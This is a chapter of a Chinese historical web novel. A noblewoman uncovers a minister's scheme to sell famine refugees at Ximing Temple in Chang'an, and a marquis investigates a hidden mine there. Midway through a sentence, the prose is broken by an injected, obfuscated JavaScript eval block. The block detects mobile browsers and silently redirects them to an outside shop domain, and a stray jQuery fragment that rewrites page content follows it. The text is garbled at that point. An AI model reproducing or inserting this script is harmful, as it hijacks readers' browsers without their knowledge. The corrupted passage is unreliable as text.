长安位于天子脚下,地杰人灵,一百零八坊如棋盘般排布,居住人口之多,令人咋舌。
鼎盛之时,光是庙宇便高达二十多处,即便是后来三历王朝更迭,改革换代,稳稳于历史洪流中扎驻下来的,仍有十四座,后人称之为长安十四庙。
十四庙的香客亦有细分,因荐佛寺坐落于东市,香客多是有头有脸的达官贵胄;西市往来商贾众多,人口更为密集,于是离得更近的大云经寺的门槛,便险些要被百姓踏破。
而西明寺作为十四庙之一,香火自然是没断过,但因位处偏僻,较之其他庙宇,说一句人烟稀少,门可罗雀也不为过,却不想因此而成的清净,反倒深受长安贵妇娘子们的青睐。
宋知今在英国公府住了五年,纵她平日深居简出,每逢个岁首节气什么的,终归也是要露一露面才行,一来二去,她对西明寺称不上熟悉,却也不算陌生。
可今日的西明寺一改往常的肃静寂寥,即便隔着厚厚的车板,外头嘈杂鼎沸的喧闹声亦清晰入耳。
正当她欲掀帘看个究竟时,马车停了下来,婆子却没来掀门板,宋知今顿了顿,悄然往车窗边上贴去,隔着一层薄薄的车帘,交谈声总算能听清了。
“今日怎来得这般迟?误了大人的事,你担当得起吗!”
入耳便是一道浑厚的男声,在斥责人伢婆子。
婆子机灵的恭维:“这不临时收了件好货,路上耽搁了些,让您久等。”
“别废话,这趟人头数合计二十有四,天黑之前,抓紧把事给办妥!”
那婆子一惊:“这么多?”
男声有明显不耐:“大人说了,夜长梦多,往后每日最少也要这个数,你尽管办事,等结束了少不了你好处。”
婆子讪讪应和:“是是!”
对话到此结束,接着便是人伢婆子指使人的三两号令。
宋知今没头没尾听了会儿,心中渐渐浮起个大胆的猜测。
细细的眉蹙起,斟酌片刻,还是将车帘掀开一角,视线往外探去。
入目,一片人头攒动。
乌压压的人群如蚂蚁般挤作一团,急哄哄的推搡撕扯,落后在人后的拼命扒拉着前头的,而前头的人哪怕身上被抓出血痕也不肯挪动半分,如石雕般梗长脖子,腥红的一双眼睛死死盯着衙役手里那碗稀粥,而衙役不急不躁,半天才打出一碗,供不应求。
应是朝廷来救济流民了。
那日去酒肆收账时,听老金说了一嘴,淮南道灾情严重,无数灾民流入长安,偷窃案频发,自家也有好几个铺子遭了祸,报官也不管用,京兆府上下早已忙得脚不沾地。
据说后来天子诏令终于下发,由户部尚书拿着朝廷批下的赈灾款,安置那些流民。
这些消息,宋知今听了就忘,若不是自家铺子也受到牵连,她或许连听都懒得听,如这般家国大事,本就离她很远,听了也如天外之音,朦朦胧胧感不真切。
退一万步说,这些原也不该她一介后宅女子操心惦记,缘此,纵使亲眼目睹了如此景象,宋知今第一反应也是与她无关。
哪怕她已经从人伢婆子的对话里窥见一丝不对劲,也没想过多管闲事。
她如今身陷囹圄,能明哲保身就已经很不易了。
宋知今定了定神,正要抽手,倏地,她呼吸一滞,目光与一双黑眸对上。
勉强看出那是个女娃娃,依偎在母亲怀里,蓬乱的头发丝下藏着张脏兮兮瘦巴巴的小脸,那双尚且清亮懵懂的眼睛镶在面上,比例失调得吓人。
某一瞬间,那些曾被掩藏在记忆深处的画面,被猛地划了一刀,岁月凝结而成的冰霜破开,不堪回首的过往便如此新鲜的流淌出来。
宋知今遥遥望去,缩在母亲怀里的女娃变了一副面孔,尚且稚嫩却满目戾气的年幼的自己,正冷冷瞪着她。
你也要冷眼旁观吗?
原来你也终于变成了和他们一样的那种人。
宋知今的耳旁仿佛响起了女童稚气的声音,振聋发聩。
抓着车帘的手指狠狠一紧,她闭目深吸口气,眼睫颤动几下后睁开,眸底多了丝坚定。
“素心。”
宋知今挪到昏睡正酣的小婢女身旁,自袖中捏碎一枚香丸,在其鼻尖扇了扇。
不消两息,小婢女幽幽转醒。
扶着昏沉的脑袋坐起身,面上懵然一片:“我怎么睡着了?咦,怎得不见大娘子?”
说着四下里打量一圈,顺手掀开帘,又迅速放下,慌里慌张的挨到宋知今身旁,小圆脸上写满惊惧。
“娘、娘子,咱们这是……”
她嗓音发颤,想到方才瞧的那一眼,尾音一哽,带了哭腔,俨然吓破了胆儿。
但见马车被几个男人里里外外围住,那几人,三个脸上带疤,两个顶着髡首,四个耳后烙了印,无一例外,皆恶鬼似的生得凶神恶煞!
国公府是体面人家,何时挑过这般长相的人进府做工?那既不是国公府的府丁,这些人围着马车是要做什么?
素心原也不是个蠢笨的,一掂量就缓过神来,下意识的就护在宋知今身前,只那不停颤动的手臂出卖了她的恐惧。
宋知今轻轻按住她冰凉的手背,淡声道:“宋明月要将咱俩发卖了。”
“什么?”素心本能惊叫出声,又想起什么,迅速捂住嘴,低声接话:“大娘子疯了不成?娘子可是不日就要当世子夫人……”
话说了一半,猛然记起这些日子国公府对她们主仆二人的所作所为,嘴唇颤了半天,挤出句:“就算……那也……”
说到最后,眼泪再也包不住,唰地流了满面。
太欺负人了!
原以为是倚仗的国公府主母主君心思肮脏,满心期许的良配负心凉薄,如今就连血脉相连的嫡姐也干出如此狠毒的事,她家娘子的命,怎么这么苦啊!
小婢女真情实意的无声呜咽,宋知今瞧着她迅速红肿的眼,止不住心头发热,但眼下显然不是上演主仆情深的好时候,握着素心的手微微施力,将人从自伤自怜中拽出。
素心泪眼婆娑的抬起眼睫,瞧见的就是自家娘子依旧清清冷冷的脸,只与往日熟悉的出尘缥缈不同的是,此刻女子眼尾眉梢那一抹灵动的狡黠乖张,陌生的好似变了个人。
宋知今说:“素心,我要你做一件事。”
……
嘶——
马儿的嘶鸣声破开长空,有力的马蹄原地踏了几步,便稳稳停在了山脚下。
谢颐于马背上眺望,远远就瞧见了西明寺大门前密不透风的人潮,乍一眼,的确瞧不出什么异样来。
落后几步的高吉已经翻身下马,视线精准的落在路旁那颗粗壮的树干上,指着上面不起眼的刻痕道:“是阿誉留的暗号。”
说着又往前走了几步,接连检查了几颗树,方整理出暗号留下的路线。
“是往山上的。”
而山上,只有西明寺,这是长安城百姓人尽皆知的事。
就在半个时辰之前,高吉也是这么认为的,直到收到了阿誉姗姗来迟的暗信。
信上笔墨,直接颠覆了他的认知。
谁能想到,历经几朝更迭,被誉为长安十四庙之一的西明寺里,竟藏着一座矿场。
那可是矿场,自古以来都是稀罕物!
且不说眼下时局变动,各方节度使占地为王,又有外朝对中原这块肥土虎视眈眈,大宣国表面上风平浪静,实际里根子早就烂了,如此四面楚歌的境地下,军中资源自是紧缺的要命。
就说前朝最繁盛昌荣的玄武时期,官政上都紧紧扒着矿产不放,严令禁止私下开采,更别谈后来国号几更,这条律令始终未被撤销,可见朝廷对矿源的渴求与重视。
而眼下,就在长安城,天子脚下,竟有一座矿山正被悄无声息的开采,甚至长达百
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914361|213264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
年无人知晓。
光天化日,朗朗乾坤,可这么大个秘密却一藏就是百年之久,这其中怕是与大半个长安权贵都脱不开干系。
若要查,必定牵筋动骨。
高吉又想到了阿誉在暗信上说的,陈四海假借赈灾名义,行贩卖流民的勾当,既贪污了赈灾粮款,又从中大赚了一笔,末了,还不忘骂一句‘这个老奸货,贪这么多,也不怕撑死!’
现下看来,陈四海在这滩黑水里,充其量只是条泥鳅,难搞的是,他们原只是想查个户部,不料拔出萝卜带出泥,扯上了这档子破事。
高吉额角青筋跳动,扭头看向谢颐,知他是最不愿节外生枝的性子,不免担忧:“主子,还继续吗?”
谢颐平视前方,寺门前流民数量仍旧多得唬人,但与前些日子成灾的人头数相比,却结结实实少了一小半。
结合阿誉在暗信上所述,这缺失的人口怕是都被弄去矿场了。
户部尚书陈四海,当真是胆大包天。
“查。”谢颐冷冷扔出个字:“陈四海敢玩灯下黑,咱们就把他的灯台给掀了。”
高吉一惊:“主子是要亲自出手?”
作为谢颐的暗卫,高吉统共跟了他五年,也便眼睁睁看着他花了整整五年的时间去布一盘棋,只为查明一个真相。
如今,眼看着陈四海即将成为棋盘中的一颗棋子,只要操纵他,便可步步机锋,九转功成,在这最关键的时刻暴露,前功尽弃都算是好的了,只怕到时候……
“谁说我是来找陈四海的了?”
高吉思绪被这冷不丁的一句打断,愣怔了下,旋即反应过来,两掌一合:“是了,咱们是来找宋二娘子的!”
因家中小娘子险些被人伢子买走,一路追踪过来,没想到却在西明寺山脚下,误打误撞碰上了尚书大人正在行人口贩卖之行径,同为大宣官僚,谢侯爷深以为耻,遂上达天听,望肃清朝堂,清不正之气。
这理由谁听了不说一句‘明堂正道’?
至于家里那位差点被拐的小娘子实际是未过门的侄媳妇,谢颐于公为北平侯,于私是叔叔,怎么也不该由他出面把人追回来的这些小事,最后都会被轻轻一笔带过,无人在意。
高吉暗道一声此招甚妙,摩拳擦掌的翻身上马,将要夹马腹,就被谢颐喝住。
“做什么去?”
高吉疑惑:“自然是救宋二娘子去。”
虽说只是个由头,但人总不能真不管吧?做戏还得做全套呢,救个小娘子对他来说只是顺手的事,更何况那还是唯一与主子有过……那啥的女子。
“不用。”谢颐淡声。
“啊?这……”
高吉为难的搓着后脑,谢颐没再看他,视线越过拥挤的流民群,犀利的落在最前方那抹轻盈伶仃的倩影上,喉间滚动几番,到底还是咽下了后半句。
她未必需要你救。
青山古寺下,女子侧身翩然而立,但见她轻捋小袖,露出一截醒目的皓白素腕,合该拈花弄草的葱段儿似的指尖,此时正捏着厚厚一沓银票。
隔的有些远,谢颐还是清晰瞧见了那半老徐娘接过银票时笑得炸花的眼角,以及那宋小娘子送钱时山水不惊的面容。
仿佛她给的不是银钱,而是一沓废纸。
忽地,谢颐一咬后槽牙,压下那抹强烈的,想夺步上去抢了那沓银票的疯狂念头,忍得狠了,心头肉都扯着隐隐的疼。
那不是钱,是两千石粮食,是三百件戎衣,是五十套甲胄……
军中物资常缺,谢颐的俸禄往往没到手里便被法算先生截去,用于填补军中支出,数年以来,拮据早已是刻进骨子里的习惯。
再看那挥金如土的小女子,不免有些……眼疼。
“啊,是宋二娘子。”
身后传来高吉终于发现了宋知今的低呼,紧跟着,是呼吸不稳的呢喃:“宋二娘子……这么有钱么?”